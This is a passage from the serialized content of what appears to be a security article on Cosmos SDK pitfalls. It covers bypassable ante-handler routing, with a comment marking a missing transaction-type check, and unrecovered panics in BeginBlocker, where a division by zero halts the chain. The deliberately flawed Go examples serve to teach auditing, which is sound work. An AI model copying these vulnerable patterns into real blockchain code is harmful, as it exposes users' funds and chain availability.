opts",{"type":23,"tag":230,"props":82126,"children":82127},{"style":274},[82128],{"type":29,"value":6069},{"type":23,"tag":230,"props":82130,"children":82131},{"style":5149},[82132],{"type":29,"value":6358},{"type":23,"tag":230,"props":82134,"children":82135},{"style":274},[82136],{"type":29,"value":52121},{"type":23,"tag":230,"props":82138,"children":82139},{"style":294},[82140],{"type":29,"value":82141},"GetTypeUrl",{"type":23,"tag":230,"props":82143,"children":82144},{"style":274},[82145],{"type":29,"value":30755},{"type":23,"tag":230,"props":82147,"children":82148},{"style":262},[82149],{"type":29,"value":82150},"typeURL",{"type":23,"tag":230,"props":82152,"children":82153},{"style":274},[82154],{"type":29,"value":277},{"type":23,"tag":230,"props":82156,"children":82157},{"class":232,"line":4559},[82158,82163,82168],{"type":23,"tag":230,"props":82159,"children":82160},{"style":866},[82161],{"type":29,"value":82162},"                case",{"type":23,"tag":230,"props":82164,"children":82165},{"style":380},[82166],{"type":29,"value":82167}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":23,"tag":230,"props":82169,"children":82170},{"style":274},[82171],{"type":29,"value":4954},{"type":23,"tag":230,"props":82173,"children":82174},{"class":232,"line":4587},[82175],{"type":23,"tag":230,"props":82176,"children":82177},{"style":237},[82178],{"type":29,"value":82179},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":23,"tag":230,"props":82181,"children":82182},{"class":232,"line":4595},[82183],{"type":23,"tag":230,"props":82184,"children":82185},{"emptyLinePlaceholder":18},[82186],{"type":29,"value":459},{"type":23,"tag":230,"props":82188,"children":82189},{"class":232,"line":4619},[82190,82195,82199,82203,82207,82212],{"type":23,"tag":230,"props":82191,"children":82192},{"style":262},[82193],{"type":29,"value":82194},"                    anteHandler",{"type":23,"tag":230,"props":82196,"children":82197},{"style":268},[82198],{"type":29,"value":271},{"type":23,"tag":230,"props":82200,"children":82201},{"style":262},[82202],{"type":29,"value":80420},{"type":23,"tag":230,"props":82204,"children":82205},{"style":274},[82206],{"type":29,"value":312},{"type":23,"tag":230,"props":82208,"children":82209},{"style":294},[82210],{"type":29,"value":82211},"ChainAnteDecorators",{"type":23,"tag":230,"props":82213,"children":82214},{"style":274},[82215],{"type":29,"value":619},{"type":23,"tag":230,"props":82217,"children":82218},{"class":232,"line":4627},[82219,82224,82228],{"type":23,"tag":230,"props":82220,"children":82221},{"style":294},[82222],{"type":29,"value":82223},"                        NewEthSetUpContextDecorator",{"type":23,"tag":230,"props":82225,"children":82226},{"style":274},[82227],{"type":29,"value":1172},{"type":23,"tag":230,"props":82229,"children":82230},{"style":237},[82231],{"type":29,"value":81074},{"type":23,"tag":230,"props":82233,"children":82234},{"class":232,"line":4659},[82235],{"type":23,"tag":230,"props":82236,"children":82237},{"style":268},[82238],{"type":29,"value":82239},"                        ...\n",{"type":23,"tag":230,"props":82241,"children":82242},{"class":232,"line":4671},[82243,82248,82252,82257,82261],{"type":23,"tag":230,"props":82244,"children":82245},{"style":294},[82246],{"type":29,"value":82247},"                        NewEthIncrementSenderSequenceDecorator",{"type":23,"tag":230,"props":82249,"children":82250},{"style":274},[82251],{"type":29,"value":302},{"type":23,"tag":230,"props":82253,"children":82254},{"style":262},[82255],{"type":29,"value":82256},"ak",{"type":23,"tag":230,"props":82258,"children":82259},{"style":274},[82260],{"type":29,"value":17502},{"type":23,"tag":230,"props":82262,"children":82263},{"style":237},[82264],{"type":29,"value":82265},"// innermost AnteDecorator.\n",{"type":23,"tag":230,"props":82267,"children":82268},{"class":232,"line":4688},[82269],{"type":23,"tag":230,"props":82270,"children":82271},{"style":274},[82272],{"type":29,"value":82273},"                    )\n",{"type":23,"tag":230,"props":82275,"children":82276},{"class":232,"line":4701},[82277],{"type":23,"tag":230,"props":82278,"children":82279},{"emptyLinePlaceholder":18},[82280],{"type":29,"value":459},{"type":23,"tag":230,"props":82282,"children":82283},{"class":232,"line":4724},[82284,82289],{"type":23,"tag":230,"props":82285,"children":82286},{"style":866},[82287],{"type":29,"value":82288},"                default",{"type":23,"tag":230,"props":82290,"children":82291},{"style":274},[82292],{"type":29,"value":4954},{"type":23,"tag":230,"props":82294,"children":82295},{"class":232,"line":4741},[82296,82301,82305,82309,82314,82318,82323],{"type":23,"tag":230,"props":82297,"children":82298},{"style":866},[82299],{"type":29,"value":82300},"                    return",{"type":23,"tag":230,"props":82302,"children":82303},{"style":262},[82304],{"type":29,"value":28150},{"type":23,"tag":230,"props":82306,"children":82307},{"style":274},[82308],{"type":29,"value":684},{"type":23,"tag":230,"props":82310,"children":82311},{"style":262},[82312],{"type":29,"value":82313},"stacktrace",{"type":23,"tag":230,"props":82315,"children":82316},{"style":274},[82317],{"type":29,"value":312},{"type":23,"tag":230,"props":82319,"children":82320},{"style":294},[82321],{"type":29,"value":82322},"Propagate",{"type":23,"tag":230,"props":82324,"children":82325},{"style":274},[82326],{"type":29,"value":619},{"type":23,"tag":230,"props":82328,"children":82329},{"class":232,"line":4759},[82330,82335,82339,82343,82347,82352,82356,82361,82365,82369],{"type":23,"tag":230,"props":82331,"children":82332},{"style":262},[82333],{"type":29,"value":82334},"                        sdkerrors",{"type":23,"tag":230,"props":82336,"children":82337},{"style":274},[82338],{"type":29,"value":312},{"type":23,"tag":230,"props":82340,"children":82341},{"style":294},[82342],{"type":29,"value":80625},{"type":23,"tag":230,"props":82344,"children":82345},{"style":274},[82346],{"type":29,"value":302},{"type":23,"tag":230,"props":82348,"children":82349},{"style":262},[82350],{"type":29,"value":82351},"sdkerrors",{"type":23,"tag":230,"props":82353,"children":82354},{"style":274},[82355],{"type":29,"value":312},{"type":23,"tag":230,"props":82357,"children":82358},{"style":262},[82359],{"type":29,"value":82360},"ErrUnknownExtensionOptions",{"type":23,"tag":230,"props":82362,"children":82363},{"style":274},[82364],{"type":29,"value":684},{"type":23,"tag":230,"props":82366,"children":82367},{"style":262},[82368],{"type":29,"value":82150},{"type":23,"tag":230,"props":82370,"children":82371},{"style":274},[82372],{"type":29,"value":331},{"type":23,"tag":230,"props":82374,"children":82375},{"class":232,"line":4768},[82376,82381],{"type":23,"tag":230,"props":82377,"children":82378},{"style":380},[82379],{"type":29,"value":82380},"                        \"rejecting tx with unsupported extension option\"",{"type":23,"tag":230,"props":82382,"children":82383},{"style":274},[82384],{"type":29,"value":388},{"type":23,"tag":230,"props":82386,"children":82387},{"class":232,"line":4776},[82388],{"type":23,"tag":230,"props":82389,"children":82390},{"style":274},[82391],{"type":29,"value":82273},{"type":23,"tag":230,"props":82393,"children":82394},{"class":232,"line":4784},[82395],{"type":23,"tag":230,"props":82396,"children":82397},{"style":274},[82398],{"type":29,"value":72848},{"type":23,"tag":230,"props":82400,"children":82401},{"class":232,"line":4792},[82402],{"type":23,"tag":230,"props":82403,"children":82404},{"emptyLinePlaceholder":18},[82405],{"type":29,"value":459},{"type":23,"tag":230,"props":82407,"children":82408},{"class":232,"line":4824},[82409,82413,82417,82421,82425,82429,82433,82437,82441],{"type":23,"tag":230,"props":82410,"children":82411},{"style":866},[82412],{"type":29,"value":62503},{"type":23,"tag":230,"props":82414,"children":82415},{"style":294},[82416],{"type":29,"value":81902},{"type":23,"tag":230,"props":82418,"children":82419},{"style":274},[82420],{"type":29,"value":302},{"type":23,"tag":230,"props":82422,"children":82423},{"style":262},[82424],{"type":29,"value":22595},{"type":23,"tag":230,"props":82426,"children":82427},{"style":274},[82428],{"type":29,"value":684},{"type":23,"tag":230,"props":82430,"children":82431},{"style":262},[82432],{"type":29,"value":80960},{"type":23,"tag":230,"props":82434,"children":82435},{"style":274},[82436],{"type":29,"value":684},{"type":23,"tag":230,"props":82438,"children":82439},{"style":262},[82440],{"type":29,"value":81840},{"type":23,"tag":230,"props":82442,"children":82443},{"style":274},[82444],{"type":29,"value":4516},{"type":23,"tag":230,"props":82446,"children":82447},{"class":232,"line":4832},[82448],{"type":23,"tag":230,"props":82449,"children":82450},{"style":274},[82451],{"type":29,"value":60659},{"type":23,"tag":230,"props":82453,"children":82454},{"class":232,"line":4840},[82455],{"type":23,"tag":230,"props":82456,"children":82457},{"style":274},[82458],{"type":29,"value":5686},{"type":23,"tag":230,"props":82460,"children":82461},{"class":232,"line":4901},[82462],{"type":23,"tag":230,"props":82463,"children":82464},{"emptyLinePlaceholder":18},[82465],{"type":29,"value":459},{"type":23,"tag":230,"props":82467,"children":82468},{"class":232,"line":4909},[82469],{"type":23,"tag":230,"props":82470,"children":82471},{"style":237},[82472],{"type":29,"value":82473},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":23,"tag":230,"props":82475,"children":82476},{"class":232,"line":4938},[82477],{"type":23,"tag":230,"props":82478,"children":82479},{"emptyLinePlaceholder":18},[82480],{"type":29,"value":459},{"type":23,"tag":230,"props":82482,"children":82483},{"class":232,"line":4957},[82484,82489,82493,82497,82501],{"type":23,"tag":230,"props":82485,"children":82486},{"style":866},[82487],{"type":29,"value":82488},"        switch",{"type":23,"tag":230,"props":82490,"children":82491},{"style":262},[82492],{"type":29,"value":69804},{"type":23,"tag":230,"props":82494,"children":82495},{"style":274},[82496],{"type":29,"value":80559},{"type":23,"tag":230,"props":82498,"children":82499},{"style":256},[82500],{"type":29,"value":35049},{"type":23,"tag":230,"props":82502,"children":82503},{"style":274},[82504],{"type":29,"value":827},{"type":23,"tag":230,"props":82506,"children":82507},{"class":232,"line":4973},[82508,82513,82517,82521,82525],{"type":23,"tag":230,"props":82509,"children":82510},{"style":866},[82511],{"type":29,"value":82512},"        case",{"type":23,"tag":230,"props":82514,"children":82515},{"style":676},[82516],{"type":29,"value":80420},{"type":23,"tag":230,"props":82518,"children":82519},{"style":274},[82520],{"type":29,"value":312},{"type":23,"tag":230,"props":82522,"children":82523},{"style":676},[82524],{"type":29,"value":80453},{"type":23,"tag":230,"props":82526,"children":82527},{"style":274},[82528],{"type":29,"value":4954},{"type":23,"tag":230,"props":82530,"children":82531},{"class":232,"line":4990},[82532,82537,82541,82545,82549,82553],{"type":23,"tag":230,"props":82533,"children":82534},{"style":262},[82535],{"type":29,"value":82536},"            anteHandler",{"type":23,"tag":230,"props":82538,"children":82539},{"style":268},[82540],{"type":29,"value":271},{"type":23,"tag":230,"props":82542,"children":82543},{"style":262},[82544],{"type":29,"value":80420},{"type":23,"tag":230,"props":82546,"children":82547},{"style":274},[82548],{"type":29,"value":312},{"type":23,"tag":230,"props":82550,"children":82551},{"style":294},[82552],{"type":29,"value":82211},{"type":23,"tag":230,"props":82554,"children":82555},{"style":274},[82556],{"type":29,"value":619},{"type":23,"tag":230,"props":82558,"children":82559},{"class":232,"line":5006},[82560,82565,82569,82574,82578],{"type":23,"tag":230,"props":82561,"children":82562},{"style":262},[82563],{"type":29,"value":82564},"                authante",{"type":23,"tag":230,"props":82566,"children":82567},{"style":274},[82568],{"type":29,"value":312},{"type":23,"tag":230,"props":82570,"children":82571},{"style":294},[82572],{"type":29,"value":82573},"NewSetUpContextDecorator",{"type":23,"tag":230,"props":82575,"children":82576},{"style":274},[82577],{"type":29,"value":1172},{"type":23,"tag":230,"props":82579,"children":82580},{"style":237},[82581],{"type":29,"value":81074},{"type":23,"tag":230,"props":82583,"children":82584},{"class":232,"line":5019},[82585],{"type":23,"tag":230,"props":82586,"children":82587},{"style":268},[82588],{"type":29,"value":82589},"                 ...\n",{"type":23,"tag":230,"props":82591,"children":82592},{"class":232,"line":5050},[82593,82597,82601,82606,82610,82614,82618],{"type":23,"tag":230,"props":82594,"children":82595},{"style":262},[82596],{"type":29,"value":82564},{"type":23,"tag":230,"props":82598,"children":82599},{"style":274},[82600],{"type":29,"value":312},{"type":23,"tag":230,"props":82602,"children":82603},{"style":294},[82604],{"type":29,"value":82605},"NewIncrementSequenceDecorator",{"type":23,"tag":230,"props":82607,"children":82608},{"style":274},[82609],{"type":29,"value":302},{"type":23,"tag":230,"props":82611,"children":82612},{"style":262},[82613],{"type":29,"value":82256},{"type":23,"tag":230,"props":82615,"children":82616},{"style":274},[82617],{"type":29,"value":17502},{"type":23,"tag":230,"props":82619,"children":82620},{"style":237},[82621],{"type":29,"value":82622},"// innermost AnteDecorator\n",{"type":23,"tag":230,"props":82624,"children":82625},{"class":232,"line":5058},[82626],{"type":23,"tag":230,"props":82627,"children":82628},{"style":274},[82629],{"type":29,"value":79294},{"type":23,"tag":230,"props":82631,"children":82632},{"class":232,"line":26228},[82633,82638],{"type":23,"tag":230,"props":82634,"children":82635},{"style":866},[82636],{"type":29,"value":82637},"        default",{"type":23,"tag":230,"props":82639,"children":82640},{"style":274},[82641],{"type":29,"value":4954},{"type":23,"tag":230,"props":82643,"children":82644},{"class":232,"line":34574},[82645,82649,82653,82657,82661,82665,82669],{"type":23,"tag":230,"props":82646,"children":82647},{"style":866},[82648],{"type":29,"value":80855},{"type":23,"tag":230,"props":82650,"children":82651},{"style":262},[82652],{"type":29,"value":28150},{"type":23,"tag":230,"props":82654,"children":82655},{"style":274},[82656],{"type":29,"value":684},{"type":23,"tag":230,"props":82658,"children":82659},{"style":262},[82660],{"type":29,"value":82313},{"type":23,"tag":230,"props":82662,"children":82663},{"style":274},[82664],{"type":29,"value":312},{"type":23,"tag":230,"props":82666,"children":82667},{"style":294},[82668],{"type":29,"value":82322},{"type":23,"tag":230,"props":82670,"children":82671},{"style":274},[82672],{"type":29,"value":619},{"type":23,"tag":230,"props":82674,"children":82675},{"class":232,"line":34595},[82676,82681,82685,82690,82694,82698,82702,82707,82711,82716,82720,82724],{"type":23,"tag":230,"props":82677,"children":82678},{"style":262},[82679],{"type":29,"value":82680},"                sdkerrors",{"type":23,"tag":230,"props":82682,"children":82683},{"style":274},[82684],{"type":29,"value":312},{"type":23,"tag":230,"props":82686,"children":82687},{"style":294},[82688],{"type":29,"value":82689},"Wrapf",{"type":23,"tag":230,"props":82691,"children":82692},{"style":274},[82693],{"type":29,"value":302},{"type":23,"tag":230,"props":82695,"children":82696},{"style":262},[82697],{"type":29,"value":82351},{"type":23,"tag":230,"props":82699,"children":82700},{"style":274},[82701],{"type":29,"value":312},{"type":23,"tag":230,"props":82703,"children":82704},{"style":262},[82705],{"type":29,"value":82706},"ErrUnknownRequest",{"type":23,"tag":230,"props":82708,"children":82709},{"style":274},[82710],{"type":29,"value":684},{"type":23,"tag":230,"props":82712,"children":82713},{"style":380},[82714],{"type":29,"value":82715},"\"invalid transaction type: %T\"",{"type":23,"tag":230,"props":82717,"children":82718},{"style":274},[82719],{"type":29,"value":684},{"type":23,"tag":230,"props":82721,"children":82722},{"style":262},[82723],{"type":29,"value":80960},{"type":23,"tag":230,"props":82725,"children":82726},{"style":274},[82727],{"type":29,"value":331},{"type":23,"tag":230,"props":82729,"children":82731},{"class":232,"line":82730},53,[82732,82737],{"type":23,"tag":230,"props":82733,"children":82734},{"style":380},[82735],{"type":29,"value":82736},"                \"transaction is not an SDK tx\"",{"type":23,"tag":230,"props":82738,"children":82739},{"style":274},[82740],{"type":29,"value":388},{"type":23,"tag":230,"props":82742,"children":82744},{"class":232,"line":82743},54,[82745],{"type":23,"tag":230,"props":82746,"children":82747},{"style":274},[82748],{"type":29,"value":79294},{"type":23,"tag":230,"props":82750,"children":82752},{"class":232,"line":82751},55,[82753],{"type":23,"tag":230,"props":82754,"children":82755},{"style":274},[82756],{"type":29,"value":5686},{"type":23,"tag":230,"props":82758,"children":82760},{"class":232,"line":82759},56,[82761],{"type":23,"tag":230,"props":82762,"children":82763},{"emptyLinePlaceholder":18},[82764],{"type":29,"value":459},{"type":23,"tag":230,"props":82766,"children":82768},{"class":232,"line":82767},57,[82769,82773,82777,82781,82785,82789,82793,82797,82801],{"type":23,"tag":230,"props":82770,"children":82771},{"style":866},[82772],{"type":29,"value":3554},{"type":23,"tag":230,"props":82774,"children":82775},{"style":294},[82776],{"type":29,"value":81902},{"type":23,"tag":230,"props":82778,"children":82779},{"style":274},[82780],{"type":29,"value":302},{"type":23,"tag":230,"props":82782,"children":82783},{"style":262},[82784],{"type":29,"value":22595},{"type":23,"tag":230,"props":82786,"children":82787},{"style":274},[82788],{"type":29,"value":684},{"type":23,"tag":230,"props":82790,"children":82791},{"style":262},[82792],{"type":29,"value":80960},{"type":23,"tag":230,"props":82794,"children":82795},{"style":274},[82796],{"type":29,"value":684},{"type":23,"tag":230,"props":82798,"children":82799},{"style":262},[82800],{"type":29,"value":81840},{"type":23,"tag":230,"props":82802,"children":82803},{"style":274},[82804],{"type":29,"value":4516},{"type":23,"tag":230,"props":82806,"children":82808},{"class":232,"line":82807},58,[82809],{"type":23,"tag":230,"props":82810,"children":82811},{"style":274},[82812],{"type":29,"value":1552},{"type":23,"tag":230,"props":82814,"children":82816},{"class":232,"line":82815},59,[82817],{"type":23,"tag":230,"props":82818,"children":82819},{"style":274},[82820],{"type":29,"value":975},{"type":23,"tag":32,"props":82822,"children":82823},{},[82824,82826,82831,82833,82840,82841,82848],{"type":29,"value":82825},"Additional examples of incorrect ",{"type":23,"tag":71,"props":82827,"children":82829},{"className":82828},[],[82830],{"type":29,"value":80249},{"type":29,"value":82832}," usage include ",{"type":23,"tag":181,"props":82834,"children":82837},{"href":82835,"rel":82836},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[185],[82838],{"type":29,"value":82839},"yet more bypassable checks and loss of funds",{"type":29,"value":112},{"type":23,"tag":181,"props":82842,"children":82845},{"href":82843,"rel":82844},"https://github.com/cosmos/ibc-go/issues/853",[185],[82846],{"type":29,"value":82847},"incorrect data passing between blockchains",{"type":29,"value":312},{"type":23,"tag":24,"props":82850,"children":82852},{"id":82851},"errors-panics-i-can-handle-it",[82853],{"type":29,"value":82854},"Errors? Panics? I can handle it",{"type":23,"tag":32,"props":82856,"children":82857},{},[82858],{"type":29,"value":82859},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":23,"tag":32,"props":82861,"children":82862},{},[82863],{"type":29,"value":82864},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":23,"tag":32,"props":82866,"children":82867},{},[82868,82870,82876,82878,82883],{"type":29,"value":82869},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":23,"tag":71,"props":82871,"children":82873},{"className":82872},[],[82874],{"type":29,"value":82875},"k.keeper.TotalReward()",{"type":29,"value":82877}," returns zero, the ",{"type":23,"tag":71,"props":82879,"children":82881},{"className":82880},[],[82882],{"type":29,"value":59720},{"type":29,"value":82884}," execution will simply rollback as if nothing has happened.",{"type":23,"tag":220,"props":82886,"children":82888},{"code":82887,"language":77943,"meta":7,"className":77944,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[82889],{"type":23,"tag":71,"props":82890,"children":82891},{"__ignoreMap":7},[82892,82925,82948,82976,83012,83019,83088,83126,83133,83165],{"type":23,"tag":230,"props":82893,"children":82894},{"class":232,"line":233},[82895,82899,82903,82908,82912,82916,82921],{"type":23,"tag":230,"props":82896,"children":82897},{"style":256},[82898],{"type":29,"value":78079},{"type":23,"tag":230,"props":82900,"children":82901},{"style":274},[82902],{"type":29,"value":664},{"type":23,"tag":230,"props":82904,"children":82905},{"style":262},[82906],{"type":29,"value":82907},"k ",{"type":23,"tag":230,"props":82909,"children":82910},{"style":676},[82911],{"type":29,"value":78093},{"type":23,"tag":230,"props":82913,"children":82914},{"style":274},[82915],{"type":29,"value":703},{"type":23,"tag":230,"props":82917,"children":82918},{"style":294},[82919],{"type":29,"value":82920},"AllocateReward",{"type":23,"tag":230,"props":82922,"children":82923},{"style":274},[82924],{"type":29,"value":619},{"type":23,"tag":230,"props":82926,"children":82927},{"class":232,"line":243},[82928,82932,82936,82940,82944],{"type":23,"tag":230,"props":82929,"children":82930},{"style":262},[82931],{"type":29,"value":78114},{"type":23,"tag":230,"props":82933,"children":82934},{"style":676},[82935],{"type":29,"value":78119},{"type":23,"tag":230,"props":82937,"children":82938},{"style":274},[82939],{"type":29,"value":312},{"type":23,"tag":230,"props":82941,"children":82942},{"style":676},[82943],{"type":29,"value":78128},{"type":23,"tag":230,"props":82945,"children":82946},{"style":274},[82947],{"type":29,"value":388},{"type":23,"tag":230,"props":82949,"children":82950},{"class":232,"line":252},[82951,82955,82959,82963,82967,82972],{"type":23,"tag":230,"props":82952,"children":82953},{"style":262},[82954],{"type":29,"value":78140},{"type":23,"tag":230,"props":82956,"children":82957},{"style":268},[82958],{"type":29,"value":12147},{"type":23,"tag":230,"props":82960,"children":82961},{"style":676},[82962],{"type":29,"value":8095},{"type":23,"tag":230,"props":82964,"children":82965},{"style":274},[82966],{"type":29,"value":312},{"type":23,"tag":230,"props":82968,"children":82969},{"style":676},[82970],{"type":29,"value":82971},"MsgAllocateReward",{"type":23,"tag":230,"props":82973,"children":82974},{"style":274},[82975],{"type":29,"value":4516},{"type":23,"tag":230,"props":82977,"children":82978},{"class":232,"line":280},[82979,82983,82987,82991,82995,83000,83004,83008],{"type":23,"tag":230,"props":82980,"children":82981},{"style":274},[82982],{"type":29,"value":302},{"type":23,"tag":230,"props":82984,"children":82985},{"style":268},[82986],{"type":29,"value":6909},{"type":23,"tag":230,"props":82988,"children":82989},{"style":676},[82990],{"type":29,"value":8095},{"type":23,"tag":230,"props":82992,"children":82993},{"style":274},[82994],{"type":29,"value":312},{"type":23,"tag":230,"props":82996,"children":82997},{"style":676},[82998],{"type":29,"value":82999},"MsgAllocatRewardResponse",{"type":23,"tag":230,"props":83001,"children":83002},{"style":274},[83003],{"type":29,"value":684},{"type":23,"tag":230,"props":83005,"children":83006},{"style":676},[83007],{"type":29,"value":17189},{"type":23,"tag":230,"props":83009,"children":83010},{"style":274},[83011],{"type":29,"value":827},{"type":23,"tag":230,"props":83013,"children":83014},{"class":232,"line":334},[83015],{"type":23,"tag":230,"props":83016,"children":83017},{"emptyLinePlaceholder":18},[83018],{"type":29,"value":459},{"type":23,"tag":230,"props":83020,"children":83021},{"class":232,"line":371},[83022,83027,83031,83036,83040,83045,83049,83054,83058,83062,83067,83071,83075,83079,83084],{"type":23,"tag":230,"props":83023,"children":83024},{"style":262},[83025],{"type":29,"value":83026},"    RewardPerShare",{"type":23,"tag":230,"props":83028,"children":83029},{"style":268},[83030],{"type":29,"value":78195},{"type":23,"tag":230,"props":83032,"children":83033},{"style":262},[83034],{"type":29,"value":83035}," k",{"type":23,"tag":230,"props":83037,"children":83038},{"style":274},[83039],{"type":29,"value":312},{"type":23,"tag":230,"props":83041,"children":83042},{"style":262},[83043],{"type":29,"value":83044},"keeper",{"type":23,"tag":230,"props":83046,"children":83047},{"style":274},[83048],{"type":29,"value":312},{"type":23,"tag":230,"props":83050,"children":83051},{"style":294},[83052],{"type":29,"value":83053},"Shares",{"type":23,"tag":230,"props":83055,"children":83056},{"style":274},[83057],{"type":29,"value":16370},{"type":23,"tag":230,"props":83059,"children":83060},{"style":268},[83061],{"type":29,"value":6919},{"type":23,"tag":230,"props":83063,"children":83064},{"style":262},[83065],{"type":29,"value":83066},"  k",{"type":23,"tag":230,"props":83068,"children":83069},{"style":274},[83070],{"type":29,"value":312},{"type":23,"tag":230,"props":83072,"children":83073},{"style":262},[83074],{"type":29,"value":83044},{"type":23,"tag":230,"props":83076,"children":83077},{"style":274},[83078],{"type":29,"value":312},{"type":23,"tag":230,"props":83080,"children":83081},{"style":294},[83082],{"type":29,"value":83083},"TotalReward",{"type":23,"tag":230,"props":83085,"children":83086},{"style":274},[83087],{"type":29,"value":10072},{"type":23,"tag":230,"props":83089,"children":83090},{"class":232,"line":391},[83091,83096,83100,83104,83108,83113,83117,83122],{"type":23,"tag":230,"props":83092,"children":83093},{"style":262},[83094],{"type":29,"value":83095},"    k",{"type":23,"tag":230,"props":83097,"children":83098},{"style":274},[83099],{"type":29,"value":312},{"type":23,"tag":230,"props":83101,"children":83102},{"style":262},[83103],{"type":29,"value":83044},{"type":23,"tag":230,"props":83105,"children":83106},{"style":274},[83107],{"type":29,"value":312},{"type":23,"tag":230,"props":83109,"children":83110},{"style":294},[83111],{"type":29,"value":83112},"DistributeReward",{"type":23,"tag":230,"props":83114,"children":83115},{"style":274},[83116],{"type":29,"value":302},{"type":23,"tag":230,"props":83118,"children":83119},{"style":262},[83120],{"type":29,"value":83121},"RewardPerShare",{"type":23,"tag":230,"props":83123,"children":83124},{"style":274},[83125],{"type":29,"value":4516},{"type":23,"tag":230,"props":83127,"children":83128},{"class":232,"line":400},[83129],{"type":23,"tag":230,"props":83130,"children":83131},{"emptyLinePlaceholder":18},[83132],{"type":29,"value":459},{"type":23,"tag":230,"props":83134,"children":83135},{"class":232,"line":444},[83136,83140,83144,83148,83152,83157,83161],{"type":23,"tag":230,"props":83137,"children":83138},{"style":866},[83139],{"type":29,"value":4427},{"type":23,"tag":230,"props":83141,"children":83142},{"style":268},[83143],{"type":29,"value":9477},{"type":23,"tag":230,"props":83145,"children":83146},{"style":262},[83147],{"type":29,"value":8095},{"type":23,"tag":230,"props":83149,"children":83150},{"style":274},[83151],{"type":29,"value":312},{"type":23,"tag":230,"props":83153,"children":83154},{"style":262},[83155],{"type":29,"value":83156},"MsgAllocateRewardResponse",{"type":23,"tag":230,"props":83158,"children":83159},{"style":274},[83160],{"type":29,"value":684},{"type":23,"tag":230,"props":83162,"children":83163},{"style":256},[83164],{"type":29,"value":78421},{"type":23,"tag":230,"props":83166,"children":83167},{"class":232,"line":453},[83168],{"type":23,"tag":230,"props":83169,"children":83170},{"style":274},[83171],{"type":29,"value":975},{"type":23,"tag":32,"props":83173,"children":83174},{},[83175,83177,83183,83184,83190,83191,83197,83199,83204],{"type":29,"value":83176},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":23,"tag":71,"props":83178,"children":83180},{"className":83179},[],[83181],{"type":29,"value":83182},"PreBlocker",{"type":29,"value":684},{"type":23,"tag":71,"props":83185,"children":83187},{"className":83186},[],[83188],{"type":29,"value":83189},"BeginBlocker",{"type":29,"value":8824},{"type":23,"tag":71,"props":83192,"children":83194},{"className":83193},[],[83195],{"type":29,"value":83196},"EndBlocker",{"type":29,"value":83198},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":23,"tag":71,"props":83200,"children":83202},{"className":83201},[],[83203],{"type":29,"value":83189},{"type":29,"value":83205}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":23,"tag":220,"props":83207,"children":83209},{"code":83208,"language":77943,"meta":7,"className":77944,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[83210],{"type":23,"tag":71,"props":83211,"children":83212},{"__ignoreMap":7},[83213,83278,83285,83333,83361,83368,83380],{"type":23,"tag":230,"props":83214,"children":83215},{"class":232,"line":233},[83216,83220,83225,83229,83233,83237,83241,83245,83249,83253,83258,83262,83266,83270,83274],{"type":23,"tag":230,"props":83217,"children":83218},{"style":256},[83219],{"type":29,"value":78079},{"type":23,"tag":230,"props":83221,"children":83222},{"style":294},[83223],{"type":29,"value":83224}," BeginBlocker",{"type":23,"tag":230,"props":83226,"children":83227},{"style":274},[83228],{"type":29,"value":302},{"type":23,"tag":230,"props":83230,"children":83231},{"style":262},[83232],{"type":29,"value":22595},{"type":23,"tag":230,"props":83234,"children":83235},{"style":676},[83236],{"type":29,"value":78119},{"type":23,"tag":230,"props":83238,"children":83239},{"style":274},[83240],{"type":29,"value":312},{"type":23,"tag":230,"props":83242,"children":83243},{"style":676},[83244],{"type":29,"value":78128},{"type":23,"tag":230,"props":83246,"children":83247},{"style":274},[83248],{"type":29,"value":684},{"type":23,"tag":230,"props":83250,"children":83251},{"style":262},[83252],{"type":29,"value":83044},{"type":23,"tag":230,"props":83254,"children":83255},{"style":676},[83256],{"type":29,"value":83257}," keeper",{"type":23,"tag":230,"props":83259,"children":83260},{"style":274},[83261],{"type":29,"value":312},{"type":23,"tag":230,"props":83263,"children":83264},{"style":676},[83265],{"type":29,"value":81724},{"type":23,"tag":230,"props":83267,"children":83268},{"style":274},[83269],{"type":29,"value":703},{"type":23,"tag":230,"props":83271,"children":83272},{"style":676},[83273],{"type":29,"value":17189},{"type":23,"tag":230,"props":83275,"children":83276},{"style":274},[83277],{"type":29,"value":277},{"type":23,"tag":230,"props":83279,"children":83280},{"class":232,"line":243},[83281],{"type":23,"tag":230,"props":83282,"children":83283},{"emptyLinePlaceholder":18},[83284],{"type":29,"value":459},{"type":23,"tag":230,"props":83286,"children":83287},{"class":232,"line":252},[83288,83292,83296,83300,83304,83308,83312,83316,83321,83325,83329],{"type":23,"tag":230,"props":83289,"children":83290},{"style":262},[83291],{"type":29,"value":83026},{"type":23,"tag":230,"props":83293,"children":83294},{"style":268},[83295],{"type":29,"value":78195},{"type":23,"tag":230,"props":83297,"children":83298},{"style":262},[83299],{"type":29,"value":83257},{"type":23,"tag":230,"props":83301,"children":83302},{"style":274},[83303],{"type":29,"value":312},{"type":23,"tag":230,"props":83305,"children":83306},{"style":294},[83307],{"type":29,"value":83053},{"type":23,"tag":230,"props":83309,"children":83310},{"style":274},[83311],{"type":29,"value":16370},{"type":23,"tag":230,"props":83313,"children":83314},{"style":268},[83315],{"type":29,"value":6919},{"type":23,"tag":230,"props":83317,"children":83318},{"style":262},[83319],{"type":29,"value":83320},"  